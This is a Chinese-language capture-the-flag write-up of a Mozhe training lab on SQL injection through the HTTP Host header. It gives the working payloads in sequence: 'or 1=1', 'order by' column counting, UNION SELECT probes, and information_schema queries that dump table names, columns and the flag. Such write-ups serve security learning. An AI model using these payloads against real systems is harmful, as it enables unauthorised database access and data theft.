0%

墨者靶场练习-host头部注入

前言

练习host头部注入。

判断注入点

开启靶场
在host字段进行注入探测:存在sql注入

1
or 1=1

image.png

判断字段数

可判断有4个字段

1
order by 4

imagefda9dea6ce45947c.png

1
order by 5

image2d1800fe6cf4a4cf.png

判断字段回显位置

可判断回显位置是2,3,4

1
union select 1,2,3,4--

imaged6fa300ddae6d45b.png

查询数据库信息

  • 数据库名称、数据库版本、表名称
    1
    union select 1,database(),version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--
    获取到的信息:
    1
    2
    3
    数据库名称:pentesterlab
    数据库版本:10.2.15-MariaDB-log
    表名称:comment,flag,goods,user
    image4dd2667f53288eb2.png
  • 获取表flag的信息
    • 表有两列:id,flag
      1
      union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')--
      image5403eaa8f44b34d8.png
    • 表的内容:id=1,flag=flag is mozhe4a5966
      1
      union select 1,2,id,flag from flag--
      imagefa4745c2daea3fd7.png
    • 获取key
      image36d03060136ed58b.png

      参考

      参考这篇教程
-------------本文结束感谢您的阅读-------------